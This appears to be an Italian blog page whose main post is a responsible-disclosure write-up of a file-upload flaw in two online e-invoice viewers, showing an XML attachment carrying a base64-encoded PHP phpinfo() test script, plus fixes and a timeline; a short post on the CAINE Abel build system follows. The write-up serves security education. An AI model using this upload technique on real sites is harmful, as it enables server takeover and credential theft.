Nel complesso ho apprezzato molto questo evento e c’è stata anche la possibilità di rivedere alcuni amici, nonché scambiare due chiacchiere con gli espositori, compresi alcuni membri delle tre aziende italiane presenti. Se volete saperne di più sul contenuto della manifestazione potete trovare qui la lista completa dei seminari.

Come ti distruggo il sito web con una fattura elettronica

A partire da quest’anno, finalmente, è stata introdotto l’utilizzo della fatturazione elettronica verso tutti. Avendo lavorato allo sviluppo e l’implementazione di tutte le soluzioni software necessarie per un mio cliente (che gestisce uno studio di commercialisti), ho potuto vedere come molte aziende sono andate in panico per quella che è in realtà una novità bella, utile ed ecologica.

Ovviamente il formato delle fatture elettroniche è documentato, aperto e standard, per consentire a tutti quanti di creare software che permetta di generare fatture elettroniche, nonché visualizzare e importare quelle prodotte da altri. Esistono anche diversi siti web che forniscono un servizio di visualizzatore online per fatture elettroniche.

Una caratteristica interessante della fattura elettronica è il fatto che il formato consente l’inserimento di allegati, tramite l’uso di specifici tag XML e la codifica in base64 del documento allegato. Molti gestionali usano questa possibilità per inserire una rappresentazione in PDF dentro alla fattura elettronica XML. Si tratta della vecchia fattura “cartacea” digitale, più semplice da leggere ma senza valore legale.

Questo si traduce, dentro al file XML, in un codice simile a questo:

<Allegati>
    <NomeAttachment>documento.pdf</NomeAttachment>
    <Attachment>
    JVBERi0xLjcKJeLjz9MNCjIgMCBvYmoKPDwvQ291bnQgMSAvS2lkcyBbMSAwIFJdIC9UeXBlIC9QYWdl
    cyA+PgplbmRvYmoKCjUgMCBvYmoKPDwvTGVuZ3RoIDQgL1JlYWRkbGVQYWdlQmFja2dyb3VuZENvbnRl
    bnRTdHJlYW0gPDw+PiA+PnN0cmVhbQpxClEKCmVuZHN0cmVhbQplbmRvYmoKCjQgMCBvYmoKPDwvUHJv
    Y1NldCBbL1BERiAvVGV4dF0gPj4KZW5kb2JqCgoxIDAgb2JqCjw8L0NvbnRlbnRzIFs1IDAgUl0gL0Ny
    b3BCb3ggWzAgMCA2MTIgNzkyXSAvTWVkaWFCb3ggWzAgMCA2MTIgNzkyXSAvUGFyZW50IDIgMCBSIC9S
    ZWFkZGxlUGFwZXJJbmZvIDw8L0NvbG9ySWQgL1doaXRlIC9TdHlsZUlkIC9CbGFuayA+PiAvUmVzb3Vy
    Y2VzIDQgMCBSIC9Sb3RhdGUgMCAvVHlwZSAvUGFnZSA+PgplbmRvYmoKCjMgMCBvYmoKPDwvUGFnZXMg
    MiAwIFIgL1R5cGUgL0NhdGFsb2cgPj4KZW5kb2JqCgo2IDAgb2JqCjw8L0NyZWF0aW9uRGF0ZSAoRDoy
    MDE5MDExOTIzMTIzOCswMScwMCcpIC9Nb2REYXRlIChEOjIwMTkwMTE5MjMxMjM4KzAxJzAwJykgL1By
    b2R1Y2VyIChQREYgRXhwZXJ0IDIuNC4yMSBNYWMpID4+CmVuZG9iagoKNyAwIG9iago8PC9GaWx0ZXIg
    L0ZsYXRlRGVjb2RlIC9JRCBbPGM5NmM5NTBhZGJmZDY1OTE4Y2E0ZTVjNmNhNzVmOGE5PiA8Yzk2Yzk1
    MGFkYmZkNjU5MThjYTRlNWM2Y2E3NWY4YTk+XSAvSW5kZXggWzEgN10gL0luZm8gNiAwIFIgL0xlbmd0
    aCAzNyAvUm9vdCAzIDAgUiAvU2l6ZSA4IC9UeXBlIC9YUmVmIC9XIFsxIDQgNF0gPj5zdHJlYW0KeJxj
    ZGBguAjEDIxALABlME6GiSyDMTxhUkegDCY3EAMAc7sDeQplbmRzdHJlYW0KZW5kb2JqCgoKJSBQREYg
    RXhwZXJ0IDYwOSBNYWMgT1MgRG1nIDhiMTQ2ZWU0NzQyOSsKCnN0YXJ0eHJlZgo1ODIKJSVFT0YK
    </Attachment>
</Allegati>

Questo esempio può sembrare artificiale, ma in realtà la rappresentazione in base64 scritta qui sopra contiene un vero file PDF, con una sola pagina bianca completamente vuota in formato Letter. Naturalmente un documento con del testo occuperebbe più spazio.

Come potete notare, viene anche indicato il nome del file allegato.

I visualizzatori online

Perché vi ho spiegato tutti questi dettagli sugli allegati alle fatture elettroniche? È presto detto: mi era stato chiesto di cercare un visualizzatore che potesse mostrare agevolmente gli allegati. Tra i primi che ho trovato ce n’erano due:

Provando entrambi i servizi con una fattura contenente allegati, ho potuto verificare che tutti e due i siti (scritti in PHP) funzionavano nello stesso modo:

  1. L’utente carica un file XML
  2. Il sito lo riceve e ne crea una copia in una directory temporanea
  3. Il sito controlla la presenza di eventuali allegati, se presenti estrae anch’essi con il nome originale
  4. All’utente viene permesso di visualizzare graficamente il contenuto della fattura, con i link agli eventuali allegati

Nel caso in cui leggere il punto 3 non vi abbia fatti trasalire, sentendo un forte brivido corrervi lungo la schiena, posso dirvi che mi auguro non lavoriate nell’industria dello sviluppo software. Se invece lo fate, vi chiedo di rileggerlo un paio di volte.

La vulnerabilità

Permettere ad un utente di caricare dei file non è di per sé pericoloso, posto che vengano prese le misure di sicurezza necessarie. Tuttavia i siti analizzati effettuavano dei controlli sulla fattura XML ma non sugli allegati. Questo significa che era possibile creare una fattura (vera o finta, non ha importanza) con allegato un file con estensione PHP, il linguaggio più comunemente usato per programmare siti web.

I siti stessi estraevano i file PHP dagli allegati e li copiavano nella rispettiva directory temporanea, fornendone poi l’URL all’utente. Al malintenzionato di turno sarebbe bastato quindi inserire del codice malevolo per poi effettuare vari tipi di operazioni.

Per fare un test rivelatore ma innocuo, ho creato una fattura la cui sezione degli allegati è la seguente:

<Allegati>
    <NomeAttachment>wowowowo.php</NomeAttachment>
    <Attachment>PD9waHAgcGhwaW5mbygpOw==</Attachment>
</Allegati>

Potete visualizzare il documento completo cliccando qui. Il contenuto codificato corrisponde al seguente programma:

<?php phpinfo();

Si tratta di uno script inerte, che non arreca nessun tipo di danno al server sul quale viene eseguito, ma mostra soltanto le informazioni sulla versione del software installato. Perciò consente in modo semplice di verificare se il codice PHP gira correttamente.

Entrambi i siti summenzionati hanno accettato senza problemi la mia fattura emessa da Paperino a Zio Paperone, estraendo l’allegato in PHP e fornendone l’URL. Dagli screenshot potete vedere chiaramente che il codice veniva eseguito:

In realtà, pur avendo eseguito un codice assolutamente innocuo e privo di conseguenze, se io fossi stato un malintenzionato avrei potenzialmente potuto fare molto peggio. Per esempio, un attaccante avrebbe potuto decidere di caricare un file manager in PHP come questo su uno dei siti e usarlo per:

  1. Modificare il visualizzatore di fatture affinché salvasse una copia di ogni file caricato
  2. Alterare la pagina di login, in modo che le credenziali inserite dagli utenti finissero nelle mani sbagliate
  3. Creare pagine in una posizione qualsiasi del sito e usarle per una campagna di phishing
  4. Cancellare completamente tutto il sito web

No, non sto esagerando.

Conclusione

Quando si sviluppa del software, specialmente le applicazioni web esposte all’utilizzo indiscriminato di migliaia di utenti, prestare la massima attenzione alla sicurezza è assolutamente imprescindibile. In questo caso sussisteva un rischio per i dati caricati dagli utenti, nonché per i contenuti stessi del sito web che avrebbero potuto essere alterati o eliminati.

Il rischio dato dalla possibilità di upload di file da parte degli utenti si può eliminare in diversi modi:

  • Inserendo una whitelist di estensioni consentite (ad esempio PDF, JPG)
  • Disattivando l’esecuzione degli script nella directory di destinazione degli upload, in tal caso visitare un file PHP avrebbe mostrato il codice senza eseguirlo
  • Nel caso degli allegati di fatture, optando per non estrarli e ripresentarli all’utente tramite data URL (non tutti i formati sono consentiti, ma quelli ai file PDF sì)

Ovviamente i gestori di entrambi i siti web sono stati preventimente informati del problema ed è stato dato loro modo di correggerlo prima che questo articolo venisse pubblicato. L’autore di AmministrazioniComunali.it ha risposto con estrema prontezza comunicandomi di aver chiuso la falla.

Da quanto ho potuto vedere, tutti e due i siti hanno optato per la whitelist, che è un’ottima soluzione.

Come considerazione finale, aggiungo che prima di scrivere questo post ho verificato che anche Ser.Val. ha risolto la falla segnalata, anche se non avevo ricevuto risposta. Risulta degno di nota il fatto che sul loro server la pagina di informazioni mostrava la presenza di PHP versione 5.6, che è quantomeno bizzarro. Come avevo già avuto modo di commentare su Facebook, PHP 5.6 è una versione fuori supporto dal 31 dicembre 2018 e sarebbe bene migrare prontamente ad una versione più recente, nello specifico PHP 7.2 o 7.3.

Come già scrivevo in questo post di due mesi fa, è bene che chi opera in questo settore prenda sul serio l’importanza della sicurezza informatica. Eventualmente facendo anche analizzare la propria infrastruttura software da un consulente esterno.

Cronologia della responsible disclosure

  • 11 gennaio 2019: scorgo la presenza di una potenziale vulnerabilità
  • 13 gennaio 2019: notifico i gestori dei due siti web coinvolti
  • 14 gennaio 2019: AmministrazioniComunali.it risponde confermando di aver risolto il problema
  • 16 gennaio 2019: mi accorgo che anche Ser.Val. ha modificato il sito, senza però rispondere
  • 20 gennaio 2019: pubblico questo articolo
  • 22 gennaio 2019: Ser.Val. risponde confermando di aver risolto il problema ed effettuato una verifica interna per verificare eventuali data breach, ai sensi del GDPR

Aggiornamento del 22 gennaio 2019: Ser.Val. ha risposto alla mia segnalazione dopo la pubblicazione di questo post, ringraziandomi e descrivendo le contromisure che hanno adottato. Il contenuto del post è stato modificato per tenere conto di questa risposta.

Abel, il sistema di build della nuova CAINE — Video e slide

Il team di ESC ha fatto come sempre uno straordinario lavoro con i video dei talk, che trovate nel canale YouTube ufficiale (alcuni sono ancora in fase di montaggio).

Il mio intervento verteva sul lavoro svolto per una delle principali distribuzioni Linux in ambito di informatica forense:

Abel, il sistema di build della nuova CAINE

CAINE è una delle distribuzioni Linux per l’informatica forense più usate al mondo. Analogamente ad altri progetti simili, l’attuale metodo di sviluppo comporta numerosi step non automatizzati. Molte delle personalizzazioni presenti nella distribuzione sono realizzate a mano, rendendo difficile tenerne traccia e valutare eventuali correzioni di bug o miglioramenti nella procedura. Abel (Automated Build Environment Lab) è un progetto che mira a produrre le nuove versioni di CAINE in modo totalmente automatizzato, tracciabile e peer-reviewed, con un ambiente di build omogeneo basato su Vagrant e numerosi script che applicano tutte le modifiche necessarie.

Lo sviluppo di Abel non è totalmente terminato, in quanto non siamo riusciti a convertire proprio tutti i passaggi di installazione in tempo per la versione 10 di CAINE. Tuttavia la struttura base è completa e infatti al talk ho parlato principalmente di quella. 🙂 Qui potete vedere la slide che descrive com’è fatto Abel:

Struttura di Abel

Questo è il video su YouTube, con un audio di ottima qualità… peccato soltanto per alcuni riferimenti che non sono stati colti da una parte dell’audience. Forse non c’erano abbastanza marshmallow in sala. 😉

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Le slide sono disponibili su SlideShare (cliccate qui per il PDF):

Clicca qui per mostrare contenuto da SlideShare.
Scopri di più nella privacy policy di SlideShare.